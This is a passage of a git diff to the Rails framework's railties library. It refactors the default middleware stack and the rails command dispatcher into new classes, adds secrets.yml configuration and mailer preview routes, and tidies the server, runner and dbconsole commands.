-          middleware.use ::ActionDispatch::SSL, config.ssl_options
-        end
-
-        middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
-
-        if config.serve_static_assets
-          middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control
-        end
-
-        middleware.use ::Rack::Lock unless allow_concurrency?
-        middleware.use ::Rack::Runtime
-        middleware.use ::Rack::MethodOverride
-        middleware.use ::ActionDispatch::RequestId
-
-        # Must come after Rack::MethodOverride to properly log overridden methods
-        middleware.use ::Rails::Rack::Logger, config.log_tags
-        middleware.use ::ActionDispatch::ShowExceptions, show_exceptions_app
-        middleware.use ::ActionDispatch::DebugExceptions, app
-        middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies
-
-        unless config.cache_classes
-          middleware.use ::ActionDispatch::Reloader, lambda { app.reload_dependencies? }
-        end
-
-        middleware.use ::ActionDispatch::Callbacks
-        middleware.use ::ActionDispatch::Cookies
-
-        if config.session_store
-          if config.force_ssl && !config.session_options.key?(:secure)
-            config.session_options[:secure] = true
-          end
-          middleware.use config.session_store, config.session_options
-          middleware.use ::ActionDispatch::Flash
-        end
-
-        middleware.use ::ActionDispatch::ParamsParser
-        middleware.use ::Rack::Head
-        middleware.use ::Rack::ConditionalGet
-        middleware.use ::Rack::ETag, "no-cache"
-      end
-    end
-
-    def allow_concurrency?
-      if config.allow_concurrency.nil?
-        config.cache_classes
-      else
-        config.allow_concurrency
-      end
-    end
-
-    def load_rack_cache
-      rack_cache = config.action_dispatch.rack_cache
-      return unless rack_cache
-
-      begin
-        require 'rack/cache'
-      rescue LoadError => error
-        error.message << ' Be sure to add rack-cache to your Gemfile'
-        raise
-      end
-
-      if rack_cache == true
-        {
-          metastore: "rails:/",
-          entitystore: "rails:/",
-          verbose: false
-        }
-      else
-        rack_cache
-      end
-    end
-
-    def show_exceptions_app
-      config.exceptions_app || ActionDispatch::PublicExceptions.new(Rails.public_path)
+      default_stack = DefaultMiddlewareStack.new(self, config, paths)
+      default_stack.build_stack
     end
 
     def build_original_fullpath(env) #:nodoc:
@@ -402,5 +446,11 @@ module Rails
         "#{script_name}#{path_info}"
       end
     end
+
+    def validate_secret_key_config! #:nodoc:
+      if secrets.secret_key_base.blank? && config.secret_token.blank?
+        raise "Missing `secret_key_base` for '#{Rails.env}' environment, set this value in `config/secrets.yml`"
+      end
+    end
   end
 end
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
index 31fc80e..ddf4236 100644
--- a/railties/lib/rails/application/configuration.rb
+++ b/railties/lib/rails/application/configuration.rb
@@ -61,7 +61,6 @@ module Rails
         @assets.cache_store              = [ :file_store, "#{root}/tmp/cache/assets/#{Rails.env}/" ]
         @assets.js_compressor            = nil
         @assets.css_compressor           = nil
-        @assets.initialize_on_precompile = true
         @assets.logger                   = nil
       end
 
@@ -77,6 +76,7 @@ module Rails
         @paths ||= begin
           paths = super
           paths.add "config/database",    with: "config/database.yml"
+          paths.add "config/secrets",     with: "config/secrets.yml"
           paths.add "config/environment", with: "config/environment.rb"
           paths.add "lib/templates"
           paths.add "log",                with: "log/#{Rails.env}.log"
@@ -88,31 +88,30 @@ module Rails
         end
       end
 
-      def threadsafe!
-        message = "config.threadsafe! is deprecated. Rails applications " \
-                  "behave by default as thread safe in production as long as config.cache_classes and " \
-                  "config.eager_load are set to true"
-        ActiveSupport::Deprecation.warn message
-        @cache_classes = true
-        @eager_load = true
-        self
-      end
-
-      # Loads and returns the configuration of the database.
+      # Loads and returns the entire raw configuration of database from
+      # values stored in `config/database.yml`.
       def database_configuration
-        yaml = paths["config/database"].first
-        if File.exists?(yaml)
+        yaml = Pathname.new(paths["config/database"].existent.first || "")
+
+        config = if yaml.exist?
+          require "yaml"
           require "erb"
-          YAML.load ERB.new(IO.read(yaml)).result
+          YAML.load(ERB.new(yaml.read).result) || {}
         elsif ENV['DATABASE_URL']
-          nil
+          # Value from ENV['DATABASE_URL'] is set to default database connection
+          # by Active Record.
+          {}
         else
           raise "Could not load database configuration. No such file - #{yaml}"
         end
+
+        config
       rescue Psych::SyntaxError => e
         raise "YAML syntax error occurred while parsing #{paths["config/database"].first}. " \
               "Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
               "Error: #{e.message}"
+      rescue => e
+        raise e, "Cannot load `Rails.application.database_configuration`:\n#{e.message}", e.backtrace
       end
 
       def log_level
@@ -151,9 +150,6 @@ module Rails
         end
       end
 
-      def whiny_nils=(*)
-        ActiveSupport::Deprecation.warn "config.whiny_nils option is deprecated and no longer works"
-      end
     end
   end
 end
diff --git a/railties/lib/rails/application/default_middleware_stack.rb b/railties/lib/rails/application/default_middleware_stack.rb
new file mode 100644
index 0000000..a00afe0
--- /dev/null
+++ b/railties/lib/rails/application/default_middleware_stack.rb
@@ -0,0 +1,99 @@
+module Rails
+  class Application
+    class DefaultMiddlewareStack
+      attr_reader :config, :paths, :app
+
+      def initialize(app, config, paths)
+        @app = app
+        @config = config
+        @paths = paths
+      end
+
+      def build_stack
+        ActionDispatch::MiddlewareStack.new.tap do |middleware|
+          if config.force_ssl
+            middleware.use ::ActionDispatch::SSL, config.ssl_options
+          end
+
+          middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
+
+          if config.serve_static_assets
+            middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control
+          end
+
+          if rack_cache = load_rack_cache
+            require "action_dispatch/http/rack_cache"
+            middleware.use ::Rack::Cache, rack_cache
+          end
+
+          middleware.use ::Rack::Lock unless allow_concurrency?
+          middleware.use ::Rack::Runtime
+          middleware.use ::Rack::MethodOverride
+          middleware.use ::ActionDispatch::RequestId
+
+          # Must come after Rack::MethodOverride to properly log overridden methods
+          middleware.use ::Rails::Rack::Logger, config.log_tags
+          middleware.use ::ActionDispatch::ShowExceptions, show_exceptions_app
+          middleware.use ::ActionDispatch::DebugExceptions, app
+          middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies
+
+          unless config.cache_classes
+            middleware.use ::ActionDispatch::Reloader, lambda { reload_dependencies? }
+          end
+
+          middleware.use ::ActionDispatch::Callbacks
+          middleware.use ::ActionDispatch::Cookies
+
+          if config.session_store
+            if config.force_ssl && !config.session_options.key?(:secure)
+              config.session_options[:secure] = true
+            end
+            middleware.use config.session_store, config.session_options
+            middleware.use ::ActionDispatch::Flash
+          end
+
+          middleware.use ::ActionDispatch::ParamsParser
+          middleware.use ::Rack::Head
+          middleware.use ::Rack::ConditionalGet
+          middleware.use ::Rack::ETag, "no-cache"
+        end
+      end
+
+      private
+
+        def reload_dependencies?
+          config.reload_classes_only_on_change != true || app.reloaders.map(&:updated?).any?
+        end
+
+        def allow_concurrency?
+          config.allow_concurrency.nil? ? config.cache_classes : config.allow_concurrency
+        end
+
+        def load_rack_cache
+          rack_cache = config.action_dispatch.rack_cache
+          return unless rack_cache
+
+          begin
+            require 'rack/cache'
+          rescue LoadError => error
+            error.message << ' Be sure to add rack-cache to your Gemfile'
+            raise
+          end
+
+          if rack_cache == true
+            {
+              metastore: "rails:/",
+              entitystore: "rails:/",
+              verbose: false
+            }
+          else
+            rack_cache
+          end
+        end
+
+        def show_exceptions_app
+          config.exceptions_app || ActionDispatch::PublicExceptions.new(Rails.public_path)
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb
index 7a1bb1e..5b8509b 100644
--- a/railties/lib/rails/application/finisher.rb
+++ b/railties/lib/rails/application/finisher.rb
@@ -22,6 +22,8 @@ module Rails
       initializer :add_builtin_route do |app|
         if Rails.env.development?
           app.routes.append do
+            get '/rails/mailers'         => "rails/mailers#index"
+            get '/rails/mailers/*path'   => "rails/mailers#preview"
             get '/rails/info/properties' => "rails/info#properties"
             get '/rails/info/routes'     => "rails/info#routes"
             get '/rails/info'            => "rails/info#index"
diff --git a/railties/lib/rails/application_controller.rb b/railties/lib/rails/application_controller.rb
new file mode 100644
index 0000000..9a29ec2
--- /dev/null
+++ b/railties/lib/rails/application_controller.rb
@@ -0,0 +1,16 @@
+class Rails::ApplicationController < ActionController::Base # :nodoc:
+  self.view_paths = File.expand_path('../templates', __FILE__)
+  layout 'application'
+
+  protected
+
+  def require_local!
+    unless local_request?
+      render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden
+    end
+  end
+
+  def local_request?
+    Rails.application.config.consider_all_requests_local || request.local?
+  end
+end
diff --git a/railties/lib/rails/cli.rb b/railties/lib/rails/cli.rb
index e5341ac..dd70c27 100644
--- a/railties/lib/rails/cli.rb
+++ b/railties/lib/rails/cli.rb
@@ -1,4 +1,3 @@
-require 'rbconfig'
 require 'rails/app_rails_loader'
 
 # If we are inside a Rails application this method performs an exec and thus
@@ -10,7 +9,7 @@ Signal.trap("INT") { puts; exit(1) }
 
 if ARGV.first == 'plugin'
   ARGV.shift
-  require 'rails/commands/plugin_new'
+  require 'rails/commands/plugin'
 else
   require 'rails/commands/application'
 end
diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb
index c2ce2b4..f32bf77 100644
--- a/railties/lib/rails/commands.rb
+++ b/railties/lib/rails/commands.rb
@@ -9,101 +9,9 @@ aliases = {
   "r"  => "runner"
 }
 
-help_message = <<-EOT
-Usage: rails COMMAND [ARGS]
-
-The most common rails commands are:
- generate    Generate new code (short-cut alias: "g")
- console     Start the Rails console (short-cut alias: "c")
- server      Start the Rails server (short-cut alias: "s")
- dbconsole   Start a console for the database specified in config/database.yml
-             (short-cut alias: "db")
- new         Create a new Rails application. "rails new my_app" creates a
-             new application called MyApp in "./my_app"
-
-In addition to those, there are:
- application  Generate the Rails application code
- destroy      Undo code generated with "generate" (short-cut alias: "d")
- plugin new   Generates skeleton for developing a Rails plugin
- runner       Run a piece of code in the application environment (short-cut alias: "r")
-
-All commands can be run with -h (or --help) for more information.
-EOT
-
-
 command = ARGV.shift
 command = aliases[command] || command
 
-case command
-when 'plugin'
-  require "rails/commands/plugin_new"
-when 'generate', 'destroy'
-  require 'rails/generators'
-
-  require APP_PATH
-  Rails.application.require_environment!
-
-  Rails.application.load_generators
-
-  require "rails/commands/#{command}"
-
-when 'console'
-  require 'rails/commands/console'
-  options = Rails::Console.parse_arguments(ARGV)
-
-  # RAILS_ENV needs to be set before config/application is required
-  ENV['RAILS_ENV'] = options[:environment] if options[:environment]
-
-  # shift ARGV so IRB doesn't freak
-  ARGV.shift if ARGV.first && ARGV.first[0] != '-'
-
-  require APP_PATH
-  Rails.application.require_environment!
-  Rails::Console.start(Rails.application, options)
-
-when 'server'
-  # Change to the application's path if there is no config.ru file in current directory.
-  # This allows us to run `rails server` from other directories, but still get
-  # the main config.ru and properly set the tmp directory.
-  Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
-
-  require 'rails/commands/server'
-  Rails::Server.new.tap do |server|
-    # We need to require application after the server sets environment,
-    # otherwise the --environment option given to the server won't propagate.
-    require APP_PATH
-    Dir.chdir(Rails.application.root)
-    server.start
-  end
-
-when 'dbconsole'
-  require 'rails/commands/dbconsole'
-  Rails::DBConsole.start
-
-when 'application', 'runner'
-  require "rails/commands/#{command}"
-
-when 'new'
-  if %w(-h --help).include?(ARGV.first)
-    require 'rails/commands/application'
-  else
-    puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
-    puts "Type 'rails' for help."
-    exit(1)
-  end
-
-when '--version', '-v'
-  ARGV.unshift '--version'
-  require 'rails/commands/application'
-
-when '-h', '--help'
-  puts help_message
+require 'rails/commands/commands_tasks'
 
-else
-  puts "Error: Command '#{command}' not recognized"
-  if %x{rake #{command} --dry-run 2>&1 } && $?.success?
-    puts "Did you mean: `$ rake #{command}` ?\n\n"
-  end
-  puts help_message
-  exit(1)
-end
+Rails::CommandsTasks.new(ARGV).run_command!(command)
diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb
index 2ff2941..c998e6b 100644
--- a/railties/lib/rails/commands/application.rb
+++ b/railties/lib/rails/commands/application.rb
@@ -1,30 +1,3 @@
-require 'rails/version'
-
-if ['--version', '-v'].include?(ARGV.first)
-  puts "Rails #{Rails::VERSION::STRING}"
-  exit(0)
-end
-
-if ARGV.first != "new"
-  ARGV[0] = "--help"
-else
-  ARGV.shift
-  unless ARGV.delete("--no-rc")
-    customrc = ARGV.index{ |x| x.include?("--rc=") }
-    railsrc = if customrc
-                File.expand_path(ARGV.delete_at(customrc).gsub(/--rc=/, ""))
-              else
-                File.join(File.expand_path("~"), '.railsrc')
-              end
-    if File.exist?(railsrc)
-      extra_args_string = File.read(railsrc)
-      extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten
-      puts "Using #{extra_args.join(" ")} from #{railsrc}"
-      ARGV.insert(1, *extra_args)
-    end
-  end
-end
-
 require 'rails/generators'
 require 'rails/generators/rails/app/app_generator'
 
@@ -40,4 +13,5 @@ module Rails
   end
 end
 
-Rails::Generators::AppGenerator.start
+args = Rails::Generators::ARGVScrubber.new(ARGV).prepare!
+Rails::Generators::AppGenerator.start args
diff --git a/railties/lib/rails/commands/commands_tasks.rb b/railties/lib/rails/commands/commands_tasks.rb
new file mode 100644
index 0000000..14f165c
--- /dev/null
+++ b/railties/lib/rails/commands/commands_tasks.rb
@@ -0,0 +1,174 @@
+module Rails
+  # This is a class which takes in a rails command and initiates the appropriate
+  # initiation sequence.
+  #
+  # Warning: This class mutates ARGV because some commands require manipulating
+  # it before they are run.
+  class CommandsTasks # :nodoc:
+    attr_reader :argv
+
+    HELP_MESSAGE = <<-EOT
+Usage: rails COMMAND [ARGS]
+
+The most common rails commands are:
+ generate    Generate new code (short-cut alias: "g")
+ console     Start the Rails console (short-cut alias: "c")
+ server      Start the Rails server (short-cut alias: "s")
+ dbconsole   Start a console for the database specified in config/database.yml
+             (short-cut alias: "db")
+ new         Create a new Rails application. "rails new my_app" creates a
+             new application called MyApp in "./my_app"
+
+In addition to those, there are:
+ application  Generate the Rails application code
+ destroy      Undo code generated with "generate" (short-cut alias: "d")
+ plugin new   Generates skeleton for developing a Rails plugin
+ runner       Run a piece of code in the application environment (short-cut alias: "r")
+
+All commands can be run with -h (or --help) for more information.
+EOT
+
+    COMMAND_WHITELIST = %w(plugin generate destroy console server dbconsole application runner new version help)
+
+    def initialize(argv)
+      @argv = argv
+    end
+
+    def run_command!(command)
+      command = parse_command(command)
+      if COMMAND_WHITELIST.include?(command)
+        send(command)
+      else
+        write_error_message(command)
+      end
+    end
+
+    def plugin
+      require_command!("plugin")
+    end
+
+    def generate
+      generate_or_destroy(:generate)
+    end
+
+    def destroy
+      generate_or_destroy(:destroy)
+    end
+
+    def console
+      require_command!("console")
+      options = Rails::Console.parse_arguments(argv)
+
+      # RAILS_ENV needs to be set before config/application is required
+      ENV['RAILS_ENV'] = options[:environment] if options[:environment]
+
+      # shift ARGV so IRB doesn't freak
+      shift_argv!
+
+      require_application_and_environment!
+      Rails::Console.start(Rails.application, options)
+    end
+
+    def server
+      set_application_directory!
+      require_command!("server")
+
+      Rails::Server.new.tap do |server|
+        # We need to require application after the server sets environment,
+        # otherwise the --environment option given to the server won't propagate.
+        require APP_PATH
+        Dir.chdir(Rails.application.root)
+        server.start
+      end
+    end
+
+    def dbconsole
+      require_command!("dbconsole")
+      Rails::DBConsole.start
+    end
+
+    def application
+      require_command!("application")
+    end
+
+    def runner
+      require_command!("runner")
+    end
+
+    def new
+      if %w(-h --help).include?(argv.first)
+        require_command!("application")
+      else
+        exit_with_initialization_warning!
+      end
+    end
+
+    def version
+      argv.unshift '--version'
+      require_command!("application")
+    end
+
+    def help
+      write_help_message
+    end
+
+    private
+
+      def exit_with_initialization_warning!
+        puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
+        puts "Type 'rails' for help."
+        exit(1)
+      end
+
+      def shift_argv!
+        argv.shift if argv.first && argv.first[0] != '-'
+      end
+
+      def require_command!(command)
+        require "rails/commands/#{command}"
+      end
+
+      def generate_or_destroy(command)
+        require 'rails/generators'
+        require_application_and_environment!
+        Rails.application.load_generators
+        require "rails/commands/#{command}"
+      end
+
+      # Change to the application's path if there is no config.ru file in current directory.
+      # This allows us to run `rails server` from other directories, but still get
+      # the main config.ru and properly set the tmp directory.
+      def set_application_directory!
+        Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
+      end
+
+      def require_application_and_environment!
+        require APP_PATH
+        Rails.application.require_environment!
+      end
+
+      def write_help_message
+        puts HELP_MESSAGE
+      end
+
+      def write_error_message(command)
+        puts "Error: Command '#{command}' not recognized"
+        if %x{rake #{command} --dry-run 2>&1 } && $?.success?
+          puts "Did you mean: `$ rake #{command}` ?\n\n"
+        end
+        write_help_message
+        exit(1)
+      end
+
+      def parse_command(command)
+        case command
+        when '--version', '-v'
+          'version'
+        when '--help', '-h'
+          'help'
+        else
+          command
+        end
+      end
+  end
+end
diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb
index 96229bb..f6bdf12 100644
--- a/railties/lib/rails/commands/console.rb
+++ b/railties/lib/rails/commands/console.rb
@@ -94,8 +94,8 @@ module Rails
       require 'debugger'
       puts "=> Debugger enabled"
     rescue LoadError
-      puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle, and try again."
-      exit
+      puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle it and try again."
+      exit(1)
     end
   end
 end
diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb
index 5914c9e..f6d8aec 100644
--- a/railties/lib/rails/commands/dbconsole.rb
+++ b/railties/lib/rails/commands/dbconsole.rb
@@ -44,7 +44,7 @@ module Rails
 
         find_cmd_and_exec(['mysql', 'mysql5'], *args)
 
-      when "postgresql", "postgres"
+      when "postgresql", "postgres", "postgis"
         ENV['PGUSER']     = config["username"] if config["username"]
         ENV['PGHOST']     = config["host"] if config["host"]
         ENV['PGPORT']     = config["port"].to_s if config["port"]
@@ -81,14 +81,11 @@ module Rails
 
     def config
       @config ||= begin
-        cfg = begin
-          YAML.load(ERB.new(IO.read("config/database.yml")).result)
-        rescue SyntaxError, StandardError
-          require APP_PATH
-          Rails.application.config.database_configuration
+        if configurations[environment].blank?
+          raise ActiveRecord::AdapterNotSpecified, "'#{environment}' database is not configured. Available configuration: #{configurations.inspect}"
+        else
+          configurations[environment]
         end
-
-        cfg[environment] || abort("No database is configured for the environment '#{environment}'")
       end
     end
 
@@ -102,6 +99,12 @@ module Rails
 
     protected
 
+    def configurations
+      require APP_PATH
+      ActiveRecord::Base.configurations = Rails.application.config.database_configuration
+      ActiveRecord::Base.configurations
+    end
+
     def parse_arguments(arguments)
       options = {}
 
diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb
new file mode 100644
index 0000000..f7a0b99
--- /dev/null
+++ b/railties/lib/rails/commands/plugin.rb
@@ -0,0 +1,23 @@
+if ARGV.first != "new"
+  ARGV[0] = "--help"
+else
+  ARGV.shift
+  unless ARGV.delete("--no-rc")
+    customrc = ARGV.index{ |x| x.include?("--rc=") }
+    railsrc = if customrc
+                File.expand_path(ARGV.delete_at(customrc).gsub(/--rc=/, ""))
+              else
+                File.join(File.expand_path("~"), '.railsrc')
+              end
+    if File.exist?(railsrc)
+      extra_args_string = File.read(railsrc)
+      extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten
+      puts "Using #{extra_args.join(" ")} from #{railsrc}"
+      ARGV.insert(1, *extra_args)
+    end
+  end
+end
+
+require 'rails/generators'
+require 'rails/generators/rails/plugin/plugin_generator'
+Rails::Generators::PluginGenerator.start
diff --git a/railties/lib/rails/commands/plugin_new.rb b/railties/lib/rails/commands/plugin_new.rb
deleted file mode 100644
index 4d7bf3c..0000000
--- a/railties/lib/rails/commands/plugin_new.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-if ARGV.first != "new"
-  ARGV[0] = "--help"
-else
-  ARGV.shift
-end
-
-require 'rails/generators'
-require 'rails/generators/rails/plugin_new/plugin_new_generator'
-Rails::Generators::PluginNewGenerator.start
\ No newline at end of file
diff --git a/railties/lib/rails/commands/runner.rb b/railties/lib/rails/commands/runner.rb
index c4622d6..3a71f8d 100644
--- a/railties/lib/rails/commands/runner.rb
+++ b/railties/lib/rails/commands/runner.rb
@@ -9,7 +9,7 @@ if ARGV.first.nil?
 end
 
 ARGV.clone.options do |opts|
-  opts.banner = "Usage: rails runner [options] ('Some.ruby(code)' or a filename)"
+  opts.banner = "Usage: rails runner [options] [<'Some.ruby(code)'> | <filename.rb>]"
 
   opts.separator ""
 
@@ -22,14 +22,23 @@ ARGV.clone.options do |opts|
   opts.on("-h", "--help",
           "Show this help message.") { $stdout.puts opts; exit }
 
+    opts.separator ""
+    opts.separator "Examples: "
+
+    opts.separator "    rails runner 'puts Rails.env'"
+    opts.separator "        This runs the code `puts Rails.env` after loading the app"
+    opts.separator ""
+    opts.separator "    rails runner path/to/filename.rb"
+    opts.separator "        This runs the Ruby file located at `path/to/filename.rb` after loading the app"
+
   if RbConfig::CONFIG['host_os'] !~ /mswin|mingw/
     opts.separator ""
     opts.separator "You can also use runner as a shebang line for your executables:"
-    opts.separator "-------------------------------------------------------------"
-    opts.separator "#!/usr/bin/env #{File.expand_path($0)} runner"
+    opts.separator "    -------------------------------------------------------------"
+    opts.separator "    #!/usr/bin/env #{File.expand_path($0)} runner"
     opts.separator ""
-    opts.separator "Product.all.each { |p| p.price *= 2 ; p.save! }"
-    opts.separator "-------------------------------------------------------------"
+    opts.separator "    Product.all.each { |p| p.price *= 2 ; p.save! }"
+    opts.separator "    -------------------------------------------------------------"
   end
 
   opts.order! { |o| code_or_file ||= o } rescue retry
@@ -48,7 +57,7 @@ if code_or_file.nil?
   exit 1
 elsif File.exist?(code_or_file)
   $0 = code_or_file
-  eval(File.read(code_or_file), nil, code_or_file)
+  Kernel.load code_or_file
 else
-  eval(code_or_file)
+  eval(code_or_file, binding, __FILE__, __LINE__)
 end
diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb
index e3119ec..fec4962 100644
--- a/railties/lib/rails/commands/server.rb
+++ b/railties/lib/rails/commands/server.rb
@@ -1,6 +1,7 @@
 require 'fileutils'
 require 'optparse'
 require 'action_dispatch'
+require 'rails'
 
 module Rails
   class Server < ::Rack::Server
@@ -21,7 +22,7 @@ module Rails
           opts.on("-e", "--environment=name", String,
                   "Specifies the environment to run this server under (test/development/production).",
                   "Default: development") { |v| options[:environment] = v }
-          opts.on("-P","--pid=pid",String,
+          opts.on("-P", "--pid=pid", String,
                   "Specifies the PID file.",
                   "Default: tmp/pids/server.pid") { |v| options[:pid] = v }
 
@@ -32,7 +33,8 @@ module Rails
 
         opt_parser.parse! args
 
-        options[:server] = args.shift
+        options[:log_stdout] = options[:daemonize].blank? && (options[:environment] || Rails.env) == "development"
+        options[:server]     = args.shift
         options
       end
     end
@@ -59,27 +61,10 @@ module Rails
     end
 
     def start
-      url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
-      puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
-      puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
-      puts "=> Run `rails server -h` for more startup options"
+      print_boot_information
       trap(:INT) { exit }
-      puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
-
-      #Create required tmp directories if not found
-      %w(cache pids sessions sockets).each do |dir_to_make|
-        FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
-      end
-
-      unless options[:daemonize]
-        wrapped_app # touch the app so the logger is set up
-
-        console = ActiveSupport::Logger.new($stdout)
-        console.formatter = Rails.logger.formatter
-        console.level = Rails.logger.level
-
-        Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
-      end
+      create_tmp_directories
+      log_to_stdout if options[:log_stdout]
 
       super
     ensure
@@ -90,7 +75,7 @@ module Rails
 
     def middleware
       middlewares = []
-      middlewares << [Rails::Rack::Debugger]  if options[:debugger]
+      middlewares << [Rails::Rack::Debugger] if options[:debugger]
       middlewares << [::Rack::ContentLength]
 
       # FIXME: add Rack::Lock in the case people are using webrick.
@@ -110,14 +95,45 @@ module Rails
 
     def default_options
       super.merge({
-        Port:         3000,
-        DoNotReverseLookup:  true,
-        environment:  (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup,
-        daemonize:    false,
-        debugger:     false,
-        pid:          File.expand_path("tmp/pids/server.pid"),
-        config:       File.expand_path("config.ru")
+        Port:               3000,
+        DoNotReverseLookup: true,
+        environment:        (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup,
+        daemonize:          false,
+        debugger:           false,
+        pid:                File.expand_path("tmp/pids/server.pid"),
+        config:             File.expand_path("config.ru")
       })
     end
+
+    private
+
+      def print_boot_information
+        url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
+        puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
+        puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
+        puts "=> Run `rails server -h` for more startup options"
+
+        if options[:Host].to_s.match(/0\.0\.0\.0/)
+          puts "=> Notice: server is listening on all interfaces (#{options[:Host]}). Consider using 127.0.0.1 (--binding option)"
+        end
+
+        puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+      end
+
+      def create_tmp_directories
+        %w(cache pids sessions sockets).each do |dir_to_make|
+          FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+        end
+      end
+
+      def log_to_stdout
+        wrapped_app # touch the app so the logger is set up
+
+        console = ActiveSupport::Logger.new($stdout)
+        console.formatter = Rails.logger.formatter
+        console.level = Rails.logger.level
+
+        Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+      end
   end
 end
diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb
index 15d13d5..f5d7ded 100644
--- a/railties/lib/rails/configuration.rb
+++ b/railties/lib/rails/configuration.rb
@@ -1,4 +1,3 @@
-require 'active_support/deprecation'
 require 'active_support/ordered_options'
 require 'active_support/core_ext/object'
 require 'rails/paths'
@@ -60,6 +59,10 @@ module Rails
         @operations << [__method__, args, block]
       end
 
+      def unshift(*args, &block)
+        @operations << [__method__, args, block]
+      end
+
       def merge_into(other) #:nodoc:
         @operations.each do |operation, args, block|
           other.send(operation, *args, &block)
diff --git a/railties/lib/rails/console/helpers.rb b/railties/lib/rails/console/helpers.rb
index 230d3d9..b775f1f 100644
--- a/railties/lib/rails/console/helpers.rb
+++ b/railties/lib/rails/console/helpers.rb
@@ -1,9 +1,15 @@
 module Rails
   module ConsoleMethods
+    # Gets the helper methods available to the controller.
+    #
+    # This method assumes an +ApplicationController+ exists, and it extends +ActionController::Base+
     def helper
       @helper ||= ApplicationController.helpers
     end
 
+    # Gets a new instance of a controller object.
+    #
+    # This method assumes an +ApplicationController+ exists, and it extends +ActionController::Base+
     def controller
       @controller ||= ApplicationController.new
     end
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
index 58f5324..07b3ee0 100644
--- a/railties/lib/rails/engine.rb
+++ b/railties/lib/rails/engine.rb
@@ -2,7 +2,6 @@ require 'rails/railtie'
 require 'rails/engine/railties'
 require 'active_support/core_ext/module/delegation'
 require 'pathname'
-require 'rbconfig'
 
 module Rails
   # <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of
@@ -124,7 +123,7 @@ module Rails
   #
   # Now you can mount your engine in application's routes just like that:
   #
-  #   MyRailsApp::Application.routes.draw do
+  #   Rails.application.routes.draw do
   #     mount MyEngine::Engine => "/engine"
   #   end
   #
@@ -154,7 +153,7 @@ module Rails
   # Note that now there can be more than one router in your application, and it's better to avoid
   # passing requests through many routers. Consider this situation:
   #
-  #   MyRailsApp::Application.routes.draw do
+  #   Rails.application.routes.draw do
   #     mount MyEngine::Engine => "/blog"
   #     get "/blog/omg" => "main#omg"
   #   end
@@ -164,7 +163,7 @@ module Rails
   # and if there is no such route in +Engine+'s routes, it will be dispatched to <tt>main#omg</tt>.
   # It's much better to swap that:
   #
-  #   MyRailsApp::Application.routes.draw do
+  #   Rails.application.routes.draw do
   #     get "/blog/omg" => "main#omg"
   #     mount MyEngine::Engine => "/blog"
   #   end
@@ -251,7 +250,7 @@ module Rails
   # created to allow you to do that. Consider such a scenario:
   #
   #   # config/routes.rb
-  #   MyApplication::Application.routes.draw do
+  #   Rails.application.routes.draw do
   #     mount MyEngine::Engine => "/my_engine", as: "my_engine"
   #     get "/foo" => "foo#index"
   #   end
@@ -260,7 +259,7 @@ module Rails
   #
   #   class FooController < ApplicationController
   #     def index
-  #       my_engine.root_url #=> /my_engine/
+  #       my_engine.root_url # => /my_engine/
   #     end
   #   end
   #
@@ -269,7 +268,7 @@ module Rails
   #   module MyEngine
   #     class BarController
   #       def index
-  #         main_app.foo_path #=> /foo
+  #         main_app.foo_path # => /foo
   #       end
   #     end
   #   end
@@ -351,8 +350,13 @@ module Rails
           Rails::Railtie::Configuration.eager_load_namespaces << base
 
           base.called_from = begin
-            # Remove the line number from backtraces making sure we don't leave anything behind
-            call_stack = caller.map { |p| p.sub(/:\d+.*/, '') }
+            call_stack = if Kernel.respond_to?(:caller_locations)
+              caller_locations.map(&:path)
+            else
+              # Remove the line number from backtraces making sure we don't leave anything behind
+              caller.map { |p| p.sub(/:\d+.*/, '') }
+            end
+
             File.dirname(call_stack.detect { |p| p !~ %r[railties[\w.-]*/lib/rails|rack[\w.-]*/lib/rack] })
           end
         end
